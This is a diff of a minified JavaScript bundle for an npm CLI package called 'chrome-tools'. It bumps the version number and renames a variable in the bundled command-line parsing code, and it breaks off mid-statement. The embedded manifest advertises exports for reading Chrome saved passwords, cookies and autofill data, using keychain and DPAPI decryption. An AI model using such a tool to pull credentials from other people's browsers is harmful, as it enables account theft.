t.debug){case"boolean":te.setDebugLevel(te.WARN);break;case"number":te.setDebugLevel(t.debug);break;case"string":te.setDebugLevel(parseInt(t.debug,10));break;default:te.setDebugLevel(te.WARN),te.warn(`Debug option is expected to be boolean, number, or string. Received a ${typeof t.debug}`)}Object.defineProperty(this,"messages",{get(){return te.debugMessages()}})}}toString(){let e=this,t=this.options.head&&this.options.head.length;t?(e=[this.options.head],this.length&&e.push.apply(e,this)):this.options.style.head=[];let n=kt.makeTableLayout(e);n.forEach(function(o){o.forEach(function(s){s.mergeTableOptions(this.options,n)},this)},this),kt.computeWidths(this.options.colWidths,n),kt.computeHeights(this.options.rowHeights,n),n.forEach(function(o){o.forEach(function(s){s.init(this.options)},this)},this);let i=[];for(let o=0;o<n.length;o++){let s=n[o],a=this.options.rowHeights[o];(o===0||!this.options.style.compact||o==1&&t)&&Rt(s,"top",i);for(let u=0;u<a;u++)Rt(s,u,i);o+1==n.length&&Rt(s,"bottom",i)}return i.join(`
7
7
  `)}get width(){return this.toString().split(`
8
- `)[0].length}};Ze.reset=()=>te.reset();function Rt(r,e,t){let n=[];r.forEach(function(o){n.push(o.draw(e))});let i=n.join("");i.length&&t.push(i)}gn.exports=Ze});var En=O((ll,Cn)=>{"use strict";Cn.exports=yn()});var ir={name:"chrome-tools",version:"1.2.3",description:"CLI & Node.js library for chrome",type:"module",main:"./dist/index.js",types:"./dist/index.d.ts",exports:{".":{types:"./dist/index.d.ts",import:"./dist/index.js"},"./passwords":{types:"./dist/index.d.ts",import:"./dist/index.js"},"./bookmarks":{types:"./dist/index.d.ts",import:"./dist/index.js"},"./history":{types:"./dist/index.d.ts",import:"./dist/index.js"},"./cookies":{types:"./dist/index.d.ts",import:"./dist/index.js"},"./local-storage":{types:"./dist/index.d.ts",import:"./dist/index.js"},"./autofill":{types:"./dist/index.d.ts",import:"./dist/index.js"},"./downloads":{types:"./dist/index.d.ts",import:"./dist/index.js"},"./extensions":{types:"./dist/index.d.ts",import:"./dist/index.js"},"./search-engines":{types:"./dist/index.d.ts",import:"./dist/index.js"},"./top-sites":{types:"./dist/index.d.ts",import:"./dist/index.js"}},bin:{"chrome-tools":"dist/cli.js"},files:["dist"],scripts:{build:"node scripts/clean.mjs && tsup && tsc -p tsconfig.types.json && node scripts/finalize.mjs && node scripts/verify-dist.mjs",typecheck:"tsc --noEmit",lint:"oxlint --deny-warnings .",start:"node dist/cli.js",test:"npm run build && npm run typecheck && node scripts/test-unit.mjs && node dist/cli.js --help","test:chrome":"node test/compatibility/chrome.mjs","test:package":"node test/compatibility/package.mjs",release:"node scripts/release.mjs"},keywords:["chrome","bookmarks","history","cookies","autofill","browser","macos","windows","linux","cross-platform","keychain","dpapi","cli"],author:"",license:"MIT",packageManager:"pnpm@11.9.0",engines:{node:">=22.16.0"},devDependencies:{"@types/node":"^26.6.6",chalk:"^6.0.1","cli-table3":"^0.6.5",commander:"^15.1.0",oxlint:"1.77.0",tsup:"^8.5.1",tsx:"^4.23.15",typescript:"^7.0.2"}};var ne=class extends Error{constructor(e,t,n){super(n),Error.captureStackTrace(this,this.constructor),this.name=this.constructor.name,this.code=t,this.exitCode=e,this.nestedError=void 0}},Z=class extends ne{constructor(e){super(1,"commander.invalidArgument",e),Error.captureStackTrace(this,this.constructor),this.name=this.constructor.name}};var Se=class{constructor(e,t){switch(this.description=t||"",this.variadic=!1,this.parseArg=void 0,this.defaultValue=void 0,this.defaultValueDescription=void 0,this.argChoices=void 0,e[0]){case"<":this.required=!0,this._name=e.slice(1,-1);break;case"[":this.required=!1,this._name=e.slice(1,-1);break;default:this.required=!0,this._name=e;break}this._name.endsWith("...")&&(this.variadic=!0,this._name=this._name.slice(0,-3))}name(){return this._name}_collectValue(e,t){return t===this.defaultValue||!Array.isArray(t)?[e]:(t.push(e),t)}default(e,t){return this.defaultValue=e,this.defaultValueDescription=t,this}argParser(e){return this.parseArg=e,this}choices(e){return this.argChoices=e.slice(),this.parseArg=(t,n)=>{if(!this.argChoices.includes(t))throw new Z(`Allowed choices are ${this.argChoices.join(", ")}.`);return this.variadic?this._collectValue(t,n):t},this}argRequired(){return this.required=!0,this}argOptional(){return this.required=!1,this}};function Ge(r){let e=r.name()+(r.variadic===!0?"...":"");return r.required?"<"+e+">":"["+e+"]"}import{EventEmitter as qi}from"node:events";import gt from"node:child_process";import ee from"node:path";import Ke from"node:fs";import b from"node:process";import{stripVTControlCharacters as zi}from"node:util";import{stripVTControlCharacters as Gi}from"node:util";var xe=class{constructor(){this.helpWidth=void 0,this.minWidthToWrap=40,this.sortSubcommands=!1,this.sortOptions=!1,this.showGlobalOptions=!1}prepareContext(e){this.helpWidth=this.helpWidth??e.helpWidth??80}visibleCommands(e){let t=e.commands.filter(i=>!i._hidden),n=e._getHelpCommand();return n&&!n._hidden&&t.push(n),this.sortSubcommands&&t.sort((i,o)=>i.name().localeCompare(o.name())),t}compareOptions(e,t){let n=i=>i.short?i.short.replace(/^-/,""):i.long.replace(/^--/,"");return n(e).localeCompare(n(t))}visibleOptions(e){let t=e.options.filter(i=>!i.hidden),n=e._getHelpOption();if(n&&!n.hidden){let i=n.short&&e._findOption(n.short),o=n.long&&e._findOption(n.long);!i&&!o?t.push(n):n.long&&!o?t.push(e.createOption(n.long,n.description).helpGroup(n.helpGroupHeading)):n.short&&!i&&t.push(e.createOption(n.short,n.description).helpGroup(n.helpGroupHeading))}return this.sortOptions&&t.sort(this.compareOptions),t}visibleGlobalOptions(e){if(!this.showGlobalOptions)return[];let t=[];for(let n=e.parent;n;n=n.parent){let i=n.options.filter(o=>!o.hidden);t.push(...i)}return this.sortOptions&&t.sort(this.compareOptions),t}visibleArguments(e){return e._argsDescription&&e.registeredArguments.forEach(t=>{t.description=t.description||e._argsDescription[t.name()]||""}),e.registeredArguments.find(t=>t.description)?e.registeredArguments:[]}subcommandTerm(e){let t=e.registeredArguments.map(n=>Ge(n)).join(" ");return e._name+(e._aliases[0]?"|"+e._aliases[0]:"")+(e.options.length?" [options]":"")+(t?" "+t:"")}optionTerm(e){return e.flags}argumentTerm(e){return e.name()}longestSubcommandTermLength(e,t){return t.visibleCommands(e).reduce((n,i)=>Math.max(n,this.displayWidth(t.styleSubcommandTerm(t.subcommandTerm(i)))),0)}longestOptionTermLength(e,t){return t.visibleOptions(e).reduce((n,i)=>Math.max(n,this.displayWidth(t.styleOptionTerm(t.optionTerm(i)))),0)}longestGlobalOptionTermLength(e,t){return t.visibleGlobalOptions(e).reduce((n,i)=>Math.max(n,this.displayWidth(t.styleOptionTerm(t.optionTerm(i)))),0)}longestArgumentTermLength(e,t){return t.visibleArguments(e).reduce((n,i)=>Math.max(n,this.displayWidth(t.styleArgumentTerm(t.argumentTerm(i)))),0)}commandUsage(e){let t=e._name;e._aliases[0]&&(t=t+"|"+e._aliases[0]);let n="";for(let i=e.parent;i;i=i.parent)n=i.name()+" "+n;return n+t+" "+e.usage()}commandDescription(e){return e.description()}subcommandDescription(e){return e.summary()||e.description()}optionDescription(e){let t=[];if(e.argChoices&&t.push(`choices: ${e.argChoices.map(n=>JSON.stringify(n)).join(", ")}`),e.defaultValue!==void 0&&(e.required||e.optional||e.isBoolean()&&typeof e.defaultValue=="boolean")&&t.push(`default: ${e.defaultValueDescription||JSON.stringify(e.defaultValue)}`),e.presetArg!==void 0&&e.optional&&t.push(`preset: ${JSON.stringify(e.presetArg)}`),e.envVar!==void 0&&t.push(`env: ${e.envVar}`),t.length>0){let n=`(${t.join(", ")})`;return e.description?`${e.description} ${n}`:n}return e.description}argumentDescription(e){let t=[];if(e.argChoices&&t.push(`choices: ${e.argChoices.map(n=>JSON.stringify(n)).join(", ")}`),e.defaultValue!==void 0&&t.push(`default: ${e.defaultValueDescription||JSON.stringify(e.defaultValue)}`),t.length>0){let n=`(${t.join(", ")})`;return e.description?`${e.description} ${n}`:n}return e.description}formatItemList(e,t,n){return t.length===0?[]:[n.styleTitle(e),...t,""]}groupItems(e,t,n){let i=new Map;return e.forEach(o=>{let s=n(o);i.has(s)||i.set(s,[])}),t.forEach(o=>{let s=n(o);i.has(s)||i.set(s,[]),i.get(s).push(o)}),i}formatHelp(e,t){let n=t.padWidth(e,t),i=t.helpWidth??80;function o(f,d){return t.formatItem(f,n,d,t)}let s=[`${t.styleTitle("Usage:")} ${t.styleUsage(t.commandUsage(e))}`,""],a=t.commandDescription(e);a.length>0&&(s=s.concat([t.boxWrap(t.styleCommandDescription(a),i),""]));let u=t.visibleArguments(e).map(f=>o(t.styleArgumentTerm(t.argumentTerm(f)),t.styleArgumentDescription(t.argumentDescription(f))));if(s=s.concat(this.formatItemList("Arguments:",u,t)),this.groupItems(e.options,t.visibleOptions(e),f=>f.helpGroupHeading??"Options:").forEach((f,d)=>{let m=f.map(p=>o(t.styleOptionTerm(t.optionTerm(p)),t.styleOptionDescription(t.optionDescription(p))));s=s.concat(this.formatItemList(d,m,t))}),t.showGlobalOptions){let f=t.visibleGlobalOptions(e).map(d=>o(t.styleOptionTerm(t.optionTerm(d)),t.styleOptionDescription(t.optionDescription(d))));s=s.concat(this.formatItemList("Global Options:",f,t))}return this.groupItems(e.commands,t.visibleCommands(e),f=>f.helpGroup()||"Commands:").forEach((f,d)=>{let m=f.map(p=>o(t.styleSubcommandTerm(t.subcommandTerm(p)),t.styleSubcommandDescription(t.subcommandDescription(p))));s=s.concat(this.formatItemList(d,m,t))}),s.join(`
8
+ `)[0].length}};Ze.reset=()=>te.reset();function Rt(r,e,t){let n=[];r.forEach(function(o){n.push(o.draw(e))});let i=n.join("");i.length&&t.push(i)}gn.exports=Ze});var En=O((ll,Cn)=>{"use strict";Cn.exports=yn()});var ir={name:"chrome-tools",version:"1.2.5",description:"CLI & Node.js library for chrome",type:"module",main:"./dist/index.js",types:"./dist/index.d.ts",exports:{".":{types:"./dist/index.d.ts",import:"./dist/index.js"},"./passwords":{types:"./dist/index.d.ts",import:"./dist/index.js"},"./bookmarks":{types:"./dist/index.d.ts",import:"./dist/index.js"},"./history":{types:"./dist/index.d.ts",import:"./dist/index.js"},"./cookies":{types:"./dist/index.d.ts",import:"./dist/index.js"},"./local-storage":{types:"./dist/index.d.ts",import:"./dist/index.js"},"./autofill":{types:"./dist/index.d.ts",import:"./dist/index.js"},"./downloads":{types:"./dist/index.d.ts",import:"./dist/index.js"},"./extensions":{types:"./dist/index.d.ts",import:"./dist/index.js"},"./search-engines":{types:"./dist/index.d.ts",import:"./dist/index.js"},"./top-sites":{types:"./dist/index.d.ts",import:"./dist/index.js"}},bin:{"chrome-tools":"dist/cli.js"},files:["dist"],scripts:{build:"node scripts/clean.mjs && tsup && tsc -p tsconfig.types.json && node scripts/finalize.mjs && node scripts/verify-dist.mjs",typecheck:"tsc --noEmit",lint:"oxlint --deny-warnings .",start:"node dist/cli.js",test:"npm run build && npm run typecheck && node scripts/test-unit.mjs && node dist/cli.js --help","test:chrome":"node test/compatibility/chrome.mjs","test:package":"node test/compatibility/package.mjs",release:"node scripts/release.mjs"},keywords:["chrome","bookmarks","history","cookies","autofill","browser","macos","windows","linux","cross-platform","keychain","dpapi","cli"],author:"",license:"MIT",packageManager:"pnpm@11.9.0",engines:{node:">=22.16.0"},devDependencies:{"@types/node":"^26.6.6",chalk:"^6.0.1","cli-table3":"^0.6.5",commander:"^15.1.0",oxlint:"1.77.0",tsup:"^8.5.1",tsx:"^4.23.15",typescript:"^7.0.2"}};var ne=class extends Error{constructor(e,t,n){super(n),Error.captureStackTrace(this,this.constructor),this.name=this.constructor.name,this.code=t,this.exitCode=e,this.nestedError=void 0}},Z=class extends ne{constructor(e){super(1,"commander.invalidArgument",e),Error.captureStackTrace(this,this.constructor),this.name=this.constructor.name}};var Se=class{constructor(e,t){switch(this.description=t||"",this.variadic=!1,this.parseArg=void 0,this.defaultValue=void 0,this.defaultValueDescription=void 0,this.argChoices=void 0,e[0]){case"<":this.required=!0,this._name=e.slice(1,-1);break;case"[":this.required=!1,this._name=e.slice(1,-1);break;default:this.required=!0,this._name=e;break}this._name.endsWith("...")&&(this.variadic=!0,this._name=this._name.slice(0,-3))}name(){return this._name}_collectValue(e,t){return t===this.defaultValue||!Array.isArray(t)?[e]:(t.push(e),t)}default(e,t){return this.defaultValue=e,this.defaultValueDescription=t,this}argParser(e){return this.parseArg=e,this}choices(e){return this.argChoices=e.slice(),this.parseArg=(t,n)=>{if(!this.argChoices.includes(t))throw new Z(`Allowed choices are ${this.argChoices.join(", ")}.`);return this.variadic?this._collectValue(t,n):t},this}argRequired(){return this.required=!0,this}argOptional(){return this.required=!1,this}};function Ge(r){let e=r.name()+(r.variadic===!0?"...":"");return r.required?"<"+e+">":"["+e+"]"}import{EventEmitter as qi}from"node:events";import gt from"node:child_process";import ee from"node:path";import Ke from"node:fs";import b from"node:process";import{stripVTControlCharacters as zi}from"node:util";import{stripVTControlCharacters as Gi}from"node:util";var xe=class{constructor(){this.helpWidth=void 0,this.minWidthToWrap=40,this.sortSubcommands=!1,this.sortOptions=!1,this.showGlobalOptions=!1}prepareContext(e){this.helpWidth=this.helpWidth??e.helpWidth??80}visibleCommands(e){let t=e.commands.filter(i=>!i._hidden),n=e._getHelpCommand();return n&&!n._hidden&&t.push(n),this.sortSubcommands&&t.sort((i,o)=>i.name().localeCompare(o.name())),t}compareOptions(e,t){let n=i=>i.short?i.short.replace(/^-/,""):i.long.replace(/^--/,"");return n(e).localeCompare(n(t))}visibleOptions(e){let t=e.options.filter(i=>!i.hidden),n=e._getHelpOption();if(n&&!n.hidden){let i=n.short&&e._findOption(n.short),o=n.long&&e._findOption(n.long);!i&&!o?t.push(n):n.long&&!o?t.push(e.createOption(n.long,n.description).helpGroup(n.helpGroupHeading)):n.short&&!i&&t.push(e.createOption(n.short,n.description).helpGroup(n.helpGroupHeading))}return this.sortOptions&&t.sort(this.compareOptions),t}visibleGlobalOptions(e){if(!this.showGlobalOptions)return[];let t=[];for(let n=e.parent;n;n=n.parent){let i=n.options.filter(o=>!o.hidden);t.push(...i)}return this.sortOptions&&t.sort(this.compareOptions),t}visibleArguments(e){return e._argsDescription&&e.registeredArguments.forEach(t=>{t.description=t.description||e._argsDescription[t.name()]||""}),e.registeredArguments.find(t=>t.description)?e.registeredArguments:[]}subcommandTerm(e){let t=e.registeredArguments.map(n=>Ge(n)).join(" ");return e._name+(e._aliases[0]?"|"+e._aliases[0]:"")+(e.options.length?" [options]":"")+(t?" "+t:"")}optionTerm(e){return e.flags}argumentTerm(e){return e.name()}longestSubcommandTermLength(e,t){return t.visibleCommands(e).reduce((n,i)=>Math.max(n,this.displayWidth(t.styleSubcommandTerm(t.subcommandTerm(i)))),0)}longestOptionTermLength(e,t){return t.visibleOptions(e).reduce((n,i)=>Math.max(n,this.displayWidth(t.styleOptionTerm(t.optionTerm(i)))),0)}longestGlobalOptionTermLength(e,t){return t.visibleGlobalOptions(e).reduce((n,i)=>Math.max(n,this.displayWidth(t.styleOptionTerm(t.optionTerm(i)))),0)}longestArgumentTermLength(e,t){return t.visibleArguments(e).reduce((n,i)=>Math.max(n,this.displayWidth(t.styleArgumentTerm(t.argumentTerm(i)))),0)}commandUsage(e){let t=e._name;e._aliases[0]&&(t=t+"|"+e._aliases[0]);let n="";for(let i=e.parent;i;i=i.parent)n=i.name()+" "+n;return n+t+" "+e.usage()}commandDescription(e){return e.description()}subcommandDescription(e){return e.summary()||e.description()}optionDescription(e){let t=[];if(e.argChoices&&t.push(`choices: ${e.argChoices.map(n=>JSON.stringify(n)).join(", ")}`),e.defaultValue!==void 0&&(e.required||e.optional||e.isBoolean()&&typeof e.defaultValue=="boolean")&&t.push(`default: ${e.defaultValueDescription||JSON.stringify(e.defaultValue)}`),e.presetArg!==void 0&&e.optional&&t.push(`preset: ${JSON.stringify(e.presetArg)}`),e.envVar!==void 0&&t.push(`env: ${e.envVar}`),t.length>0){let n=`(${t.join(", ")})`;return e.description?`${e.description} ${n}`:n}return e.description}argumentDescription(e){let t=[];if(e.argChoices&&t.push(`choices: ${e.argChoices.map(n=>JSON.stringify(n)).join(", ")}`),e.defaultValue!==void 0&&t.push(`default: ${e.defaultValueDescription||JSON.stringify(e.defaultValue)}`),t.length>0){let n=`(${t.join(", ")})`;return e.description?`${e.description} ${n}`:n}return e.description}formatItemList(e,t,n){return t.length===0?[]:[n.styleTitle(e),...t,""]}groupItems(e,t,n){let i=new Map;return e.forEach(o=>{let s=n(o);i.has(s)||i.set(s,[])}),t.forEach(o=>{let s=n(o);i.has(s)||i.set(s,[]),i.get(s).push(o)}),i}formatHelp(e,t){let n=t.padWidth(e,t),i=t.helpWidth??80;function o(f,d){return t.formatItem(f,n,d,t)}let s=[`${t.styleTitle("Usage:")} ${t.styleUsage(t.commandUsage(e))}`,""],a=t.commandDescription(e);a.length>0&&(s=s.concat([t.boxWrap(t.styleCommandDescription(a),i),""]));let u=t.visibleArguments(e).map(f=>o(t.styleArgumentTerm(t.argumentTerm(f)),t.styleArgumentDescription(t.argumentDescription(f))));if(s=s.concat(this.formatItemList("Arguments:",u,t)),this.groupItems(e.options,t.visibleOptions(e),f=>f.helpGroupHeading??"Options:").forEach((f,d)=>{let D=f.map(p=>o(t.styleOptionTerm(t.optionTerm(p)),t.styleOptionDescription(t.optionDescription(p))));s=s.concat(this.formatItemList(d,D,t))}),t.showGlobalOptions){let f=t.visibleGlobalOptions(e).map(d=>o(t.styleOptionTerm(t.optionTerm(d)),t.styleOptionDescription(t.optionDescription(d))));s=s.concat(this.formatItemList("Global Options:",f,t))}return this.groupItems(e.commands,t.visibleCommands(e),f=>f.helpGroup()||"Commands:").forEach((f,d)=>{let D=f.map(p=>o(t.styleSubcommandTerm(t.subcommandTerm(p)),t.styleSubcommandDescription(t.subcommandDescription(p))));s=s.concat(this.formatItemList(d,D,t))}),s.join(`
9
9
  `)}displayWidth(e){return Gi(e).length}styleTitle(e){return e}styleUsage(e){return e.split(" ").map(t=>t==="[options]"?this.styleOptionText(t):t==="[command]"?this.styleSubcommandText(t):t[0]==="["||t[0]==="<"?this.styleArgumentText(t):this.styleCommandText(t)).join(" ")}styleCommandDescription(e){return this.styleDescriptionText(e)}styleOptionDescription(e){return this.styleDescriptionText(e)}styleSubcommandDescription(e){return this.styleDescriptionText(e)}styleArgumentDescription(e){return this.styleDescriptionText(e)}styleDescriptionText(e){return e}styleOptionTerm(e){return this.styleOptionText(e)}styleSubcommandTerm(e){return e.split(" ").map(t=>t==="[options]"?this.styleOptionText(t):t[0]==="["||t[0]==="<"?this.styleArgumentText(t):this.styleSubcommandText(t)).join(" ")}styleArgumentTerm(e){return this.styleArgumentText(e)}styleOptionText(e){return e}styleArgumentText(e){return e}styleSubcommandText(e){return e}styleCommandText(e){return e}padWidth(e,t){return Math.max(t.longestOptionTermLength(e,t),t.longestGlobalOptionTermLength(e,t),t.longestSubcommandTermLength(e,t),t.longestArgumentTermLength(e,t))}preformatted(e){return/\n[^\S\r\n]/.test(e)}formatItem(e,t,n,i){let s=" ".repeat(2);if(!n)return s+e;let a=e.padEnd(t+e.length-i.displayWidth(e)),u=2,l=(this.helpWidth??80)-t-u-2,f;return l<this.minWidthToWrap||i.preformatted(n)?f=n:f=i.boxWrap(n,l).replace(/\n/g,`
10
10
  `+" ".repeat(t+u)),s+a+" ".repeat(u)+f.replace(/\n/g,`
11
11
  ${s}`)}boxWrap(e,t){if(t<this.minWidthToWrap)return e;let n=e.split(/\r\n|\n/),i=/[\s]*[^\s]+/g,o=[];return n.forEach(s=>{let a=s.match(i);if(a===null){o.push("");return}let u=[a.shift()],c=this.displayWidth(u[0]);a.forEach(l=>{let f=this.displayWidth(l);if(c+f<=t){u.push(l),c+=f;return}o.push(u.join(""));let d=l.trimStart();u=[d],c=this.displayWidth(d)}),o.push(u.join(""))}),o.join(`
@@ -24,7 +24,7 @@ Expecting one of '${n.join("', '")}'`);return this._lifeCycleHooks[e]?this._life
24
24
  - either make a new Command for each call to parse, or stop storing options as properties`);this._name=this._savedState._name,this._scriptPath=null,this.rawArgs=[],this._optionValues={...this._savedState._optionValues},this._optionValueSources={...this._savedState._optionValueSources},this.args=[],this.processedArgs=[]}_checkForMissingExecutable(e,t,n){if(Ke.existsSync(e))return;let i=t?`searched for local subcommand relative to directory '${t}'`:"no directory for search for local subcommand, use .executableDir() to supply a custom directory",o=`'${e}' does not exist
25
25
  - if '${n}' is not meant to be an executable command, remove description parameter from '.command()' and use '.description()' instead
26
26
  - if the default executable name is not suitable, use the executableFile option to supply a custom name or path
27
- - ${i}`;throw new Error(o)}_executeSubCommand(e,t){t=t.slice();let n=[".js",".ts",".tsx",".mjs",".cjs"];function i(l,f){let d=ee.resolve(l,f);if(Ke.existsSync(d))return d;if(n.includes(ee.extname(f)))return;let m=n.find(p=>Ke.existsSync(`${d}${p}`));if(m)return`${d}${m}`}this._checkForMissingMandatoryOptions(),this._checkForConflictingOptions();let o=e._executableFile||`${this._name}-${e._name}`,s=this._executableDir||"";if(this._scriptPath){let l;try{l=Ke.realpathSync(this._scriptPath)}catch{l=this._scriptPath}s=ee.resolve(ee.dirname(l),s)}if(s){let l=i(s,o);if(!l&&!e._executableFile&&this._scriptPath){let f=ee.basename(this._scriptPath,ee.extname(this._scriptPath));f!==this._name&&(l=i(s,`${f}-${e._name}`))}o=l||o}let a=n.includes(ee.extname(o)),u;b.platform!=="win32"?a?(t.unshift(o),t=sr(b.execArgv).concat(t),u=gt.spawn(b.argv[0],t,{stdio:"inherit"})):u=gt.spawn(o,t,{stdio:"inherit"}):(this._checkForMissingExecutable(o,s,e._name),t.unshift(o),t=sr(b.execArgv).concat(t),u=gt.spawn(b.execPath,t,{stdio:"inherit"})),u.killed||["SIGUSR1","SIGUSR2","SIGTERM","SIGINT","SIGHUP"].forEach(f=>{b.on(f,()=>{u.killed===!1&&u.exitCode===null&&u.kill(f)})});let c=this._exitCallback;u.on("close",l=>{l=l??1,c?c(new ne(l,"commander.executeSubCommandAsync","(close)")):b.exit(l)}),u.on("error",l=>{if(l.code==="ENOENT")this._checkForMissingExecutable(o,s,e._name);else if(l.code==="EACCES")throw new Error(`'${o}' not executable`);if(!c)b.exit(1);else{let f=new ne(1,"commander.executeSubCommandAsync","(error)");f.nestedError=l,c(f)}}),this.runningCommand=u}_dispatchSubcommand(e,t,n){let i=this._findCommand(e);i||this.help({error:!0}),i._prepareForParse();let o;return o=this._chainOrCallSubCommandHook(o,i,"preSubcommand"),o=this._chainOrCall(o,()=>{if(i._executableHandler)this._executeSubCommand(i,t.concat(n));else return i._parseCommand(t,n)}),o}_dispatchHelpCommand(e){e||this.help();let t=this._findCommand(e);return t&&!t._executableHandler&&t.help(),this._dispatchSubcommand(e,[],[this._getHelpOption()?.long??this._getHelpOption()?.short??"--help"])}_checkNumberOfArguments(){this.registeredArguments.forEach((e,t)=>{e.required&&this.args[t]==null&&this.missingArgument(e.name())}),!(this.registeredArguments.length>0&&this.registeredArguments[this.registeredArguments.length-1].variadic)&&this.args.length>this.registeredArguments.length&&this._excessArguments(this.args)}_processArguments(){let e=(n,i,o)=>{let s=i;if(i!==null&&n.parseArg){let a=`error: command-argument value '${i}' is invalid for argument '${n.name()}'.`;s=this._callParseArg(n,i,o,a)}return s};this._checkNumberOfArguments();let t=[];this.registeredArguments.forEach((n,i)=>{let o=n.defaultValue;n.variadic?i<this.args.length?(o=this.args.slice(i),n.parseArg&&(o=o.reduce((s,a)=>e(n,a,s),n.defaultValue))):o===void 0&&(o=[]):i<this.args.length&&(o=this.args[i],n.parseArg&&(o=e(n,o,n.defaultValue))),t[i]=o}),this.processedArgs=t}_chainOrCall(e,t){return e?.then&&typeof e.then=="function"?e.then(()=>t()):t()}_chainOrCallHooks(e,t){let n=e,i=[];return this._getCommandAndAncestors().reverse().filter(o=>o._lifeCycleHooks[t]!==void 0).forEach(o=>{o._lifeCycleHooks[t].forEach(s=>{i.push({hookedCommand:o,callback:s})})}),t==="postAction"&&i.reverse(),i.forEach(o=>{n=this._chainOrCall(n,()=>o.callback(o.hookedCommand,this))}),n}_chainOrCallSubCommandHook(e,t,n){let i=e;return this._lifeCycleHooks[n]!==void 0&&this._lifeCycleHooks[n].forEach(o=>{i=this._chainOrCall(i,()=>o(this,t))}),i}_parseCommand(e,t){let n=this.parseOptions(t);if(this._parseOptionsEnv(),this._parseOptionsImplied(),e=e.concat(n.operands),t=n.unknown,this.args=e.concat(t),e&&this._findCommand(e[0]))return this._dispatchSubcommand(e[0],e.slice(1),t);if(this._getHelpCommand()&&e[0]===this._getHelpCommand().name())return this._dispatchHelpCommand(e[1]);if(this._defaultCommandName)return this._outputHelpIfRequested(t),this._dispatchSubcommand(this._defaultCommandName,e,t);this.commands.length&&this.args.length===0&&!this._actionHandler&&!this._defaultCommandName&&this.help({error:!0}),this._outputHelpIfRequested(n.unknown),this._checkForMissingMandatoryOptions(),this._checkForConflictingOptions();let i=()=>{n.unknown.length>0&&this.unknownOption(n.unknown[0])},o=`command:${this.name()}`;if(this._actionHandler){i(),this._processArguments();let s;return s=this._chainOrCallHooks(s,"preAction"),s=this._chainOrCall(s,()=>this._actionHandler(this.processedArgs)),this.parent&&(s=this._chainOrCall(s,()=>{this.parent.emit(o,e,t)})),s=this._chainOrCallHooks(s,"postAction"),s}if(this.parent?.listenerCount(o))i(),this._processArguments(),this.parent.emit(o,e,t);else if(e.length){if(this._findCommand("*"))return this._dispatchSubcommand("*",e,t);this.listenerCount("command:*")?this.emit("command:*",e,t):this.commands.length?this.unknownCommand():(i(),this._processArguments())}else this.commands.length?(i(),this.help({error:!0})):(i(),this._processArguments())}_findCommand(e){if(e)return this.commands.find(t=>t._name===e||t._aliases.includes(e))}_findOption(e){return this.options.find(t=>t.is(e))}_checkForMissingMandatoryOptions(){this._getCommandAndAncestors().forEach(e=>{e.options.forEach(t=>{t.mandatory&&e.getOptionValue(t.attributeName())===void 0&&e.missingMandatoryOptionValue(t)})})}_checkForConflictingLocalOptions(){let e=this.options.filter(n=>{let i=n.attributeName();return this.getOptionValue(i)===void 0?!1:this.getOptionValueSource(i)!=="default"});e.filter(n=>n.conflictsWith.length>0).forEach(n=>{let i=e.find(o=>n.conflictsWith.includes(o.attributeName()));i&&this._conflictingOption(n,i)})}_checkForConflictingOptions(){this._getCommandAndAncestors().forEach(e=>{e._checkForConflictingLocalOptions()})}parseOptions(e){let t=[],n=[],i=t;function o(l){return l.length>1&&l[0]==="-"}let s=l=>/^-(\d+|\d*\.\d+)([eE][+-]?\d+)?$/.test(l)?!this._getCommandAndAncestors().some(f=>f.options.map(d=>d.short).some(d=>/^-\d$/.test(d))):!1,a=null,u=null,c=0;for(;c<e.length||u;){let l=u??e[c++];if(u=null,l==="--"){i===n&&i.push(l),i.push(...e.slice(c));break}if(a&&(!o(l)||s(l))){this.emit(`option:${a.name()}`,l);continue}if(a=null,o(l)){let f=this._findOption(l);if(f){if(f.required){let d=e[c++];d===void 0&&this.optionMissingArgument(f),this.emit(`option:${f.name()}`,d)}else if(f.optional){let d=null;c<e.length&&(!o(e[c])||s(e[c]))&&(d=e[c++]),this.emit(`option:${f.name()}`,d)}else this.emit(`option:${f.name()}`);a=f.variadic?f:null;continue}}if(l.length>2&&l[0]==="-"&&l[1]!=="-"){let f=this._findOption(`-${l[1]}`);if(f){f.required||f.optional&&this._combineFlagAndOptionalValue?this.emit(`option:${f.name()}`,l.slice(2)):(this.emit(`option:${f.name()}`),u=`-${l.slice(2)}`);continue}}if(/^--[^=]+=/.test(l)){let f=l.indexOf("="),d=this._findOption(l.slice(0,f));if(d&&(d.required||d.optional)){this.emit(`option:${d.name()}`,l.slice(f+1));continue}}if(i===t&&o(l)&&!(this.commands.length===0&&s(l))&&(i=n),(this._enablePositionalOptions||this._passThroughOptions)&&t.length===0&&n.length===0){if(this._findCommand(l)){t.push(l),n.push(...e.slice(c));break}else if(this._getHelpCommand()&&l===this._getHelpCommand().name()){t.push(l,...e.slice(c));break}else if(this._defaultCommandName){n.push(l,...e.slice(c));break}}if(this._passThroughOptions){i.push(l,...e.slice(c));break}i.push(l)}return{operands:t,unknown:n}}opts(){if(this._storeOptionsAsProperties){let e={},t=this.options.length;for(let n=0;n<t;n++){let i=this.options[n].attributeName();e[i]=i===this._versionOptionName?this._version:this[i]}return e}return this._optionValues}optsWithGlobals(){return this._getCommandAndAncestors().reduce((e,t)=>Object.assign(e,t.opts()),{})}error(e,t){this._outputConfiguration.outputError(`${e}
27
+ - ${i}`;throw new Error(o)}_executeSubCommand(e,t){t=t.slice();let n=[".js",".ts",".tsx",".mjs",".cjs"];function i(l,f){let d=ee.resolve(l,f);if(Ke.existsSync(d))return d;if(n.includes(ee.extname(f)))return;let D=n.find(p=>Ke.existsSync(`${d}${p}`));if(D)return`${d}${D}`}this._checkForMissingMandatoryOptions(),this._checkForConflictingOptions();let o=e._executableFile||`${this._name}-${e._name}`,s=this._executableDir||"";if(this._scriptPath){let l;try{l=Ke.realpathSync(this._scriptPath)}catch{l=this._scriptPath}s=ee.resolve(ee.dirname(l),s)}if(s){let l=i(s,o);if(!l&&!e._executableFile&&this._scriptPath){let f=ee.basename(this._scriptPath,ee.extname(this._scriptPath));f!==this._name&&(l=i(s,`${f}-${e._name}`))}o=l||o}let 